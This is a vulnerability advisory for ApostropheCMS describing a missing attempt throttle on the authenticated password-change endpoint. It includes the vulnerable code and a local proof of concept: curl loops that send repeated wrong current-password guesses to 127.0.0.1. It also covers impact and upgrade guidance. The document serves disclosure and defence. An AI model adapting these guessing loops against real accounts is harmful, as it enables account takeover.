ApostropheCMS: No Attempt Throttling on Authenticated Password-Change Endpoint Enables Unlimited Current-Password GuessingGHSA-653j-g8j7-gh54
MEDIUMFix: apostrophecms/apostrophe@9500b8bGHSA-653j-g8j7-gh54 is a medium-severity (CVSS 5.9) CWE-307 vulnerability in apostrophe. A fix is available for apostrophe — see the affected versions and patch details below.
Exploitation Status
No confirmed exploitation observed yet
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-653j-g8j7-gh54.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
GHSA-653j-g8j7-gh54 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 394,803 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
apostrophenpmDescription
Summary The self-service password-change endpoint verifies the current password but does not use the login module’s failed-attempt counter, throttle, delay, or lockout mechanism. An attacker with a valid authenticated session can submit repeated guesses for the current password without receiving a lockout or throttle response.
Exact source path packages/apostrophe/modules/@apostrophecms/settings/index.js:621-664
The password-change route is: PATCH /api/v1/@apostrophecms/settings/password
The route calls the password verifier directly through: await self.handleProtectedSubform(req, subform, req.body );
The password verification path is: packages/apostrophe/modules/@apostrophecms/settings/index.js:514-542
async handlePasswordProtectedSubform(req, subform, payload) { try { await self.apos.user.verifyPassword(req.user, payload.passwordCurrent); } catch (e) { throw self.apos.error( 'forbidden', 'apostrophe:passwordCurrentError', { path: 'passwordCurrent' } ); } return subform; }
The verifier itself does not increment the login-attempt cache or enforce a delay: packages/apostrophe/modules/@apostrophecms/user/index.js:412-487
By contrast, the login route explicitly calls checkLoginAttempts and addLoginAttempt in: packages/apostrophe/modules/@apostrophecms/login/index.js:831-929
Local PoC The test used a disposable authenticated guest session against:
Request:
PATCH /api/v1/@apostrophecms/settings/password HTTP/1.1
Host: 127.0.0.1:3000
Cookie: <redacted-authenticated-session>
Content-Type: application/json
{
"password": "new-temporary-password",
"passwordRepeat": "new-temporary-password",
"passwordCurrent": "definitely-wrong-current-password"
}
Equivalent command:
for i in 1 2 3 4 5; do
time curl -i -sS \
-b /path/to/temporary-session-cookie-jar.txt \
-X PATCH \
'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password' \
-H 'Content-Type: application/json' \
--data-raw '{
"password": "new-temporary-password",
"passwordRepeat": "new-temporary-password",
"passwordCurrent": "definitely-wrong-current-password"
}'
done
Observed response All five attempts returned the same immediate validation response: HTTP/1.1 403 Forbidden Content-Type: application/json; charset=utf-8 { "name": "forbidden", "data": { "path": "passwordCurrent" }, "message": "apostrophe:passwordCurrentError" }
Observed timings were approximately: Attempt 1: 231 ms Attempt 2: 232 ms Attempt 3: 226 ms Attempt 4: 229 ms Attempt 5: 226 ms
No attempt returned a throttle response, lockout message, Retry-After header, or rate-limit status.
seq 1 20 | xargs -P 20 -I{} sh -c
"curl --max-time 15 -sS
-o /tmp/password-attempt-{}.body
-w '%{http_code}\n'
-b /path/to/temporary-session-cookie-jar.txt
-X PATCH
'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password'
-H 'Content-Type: application/json'
--data-raw '{"password":"new-temporary-password-{}","passwordRepeat":"new-temporary-password-{}","passwordCurrent":"wrong-current-{}"}'"
Result: 20 requests -> HTTP 403 Forbidden 0 requests -> HTTP 429 Too Many Requests 0 requests -> lockout response
The valid password continued to authenticate afterward: POST /api/v1/@apostrophecms/login/login HTTP/1.1 HTTP/1.1 200 OK
Impact An attacker who has obtained or hijacked a valid authenticated session can repeatedly guess the current password through the password-change endpoint. Each guess receives a normal response, and the route does not apply the login throttle or lockout mechanism. If the current password is weak or reused, this can allow the attacker to pass the current-password check and replace the account password. The attacker would then be able to log in after the password change. The attack requires a valid authenticated session and does not work anonymously. Severity Medium, subject to the application’s session-threat model. The prerequisite of an already authenticated session limits exploitability, but successful guessing leads directly to account takeover through password replacement.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | apostrophe | all versions | 4.33.0npm install apostrophe@4.33.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for apostrophe, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update apostrophe to 4.33.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-653j-g8j7-gh54 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is GHSA-653j-g8j7-gh54 in your dependencies?
Find it across npm, including transitive dependencies.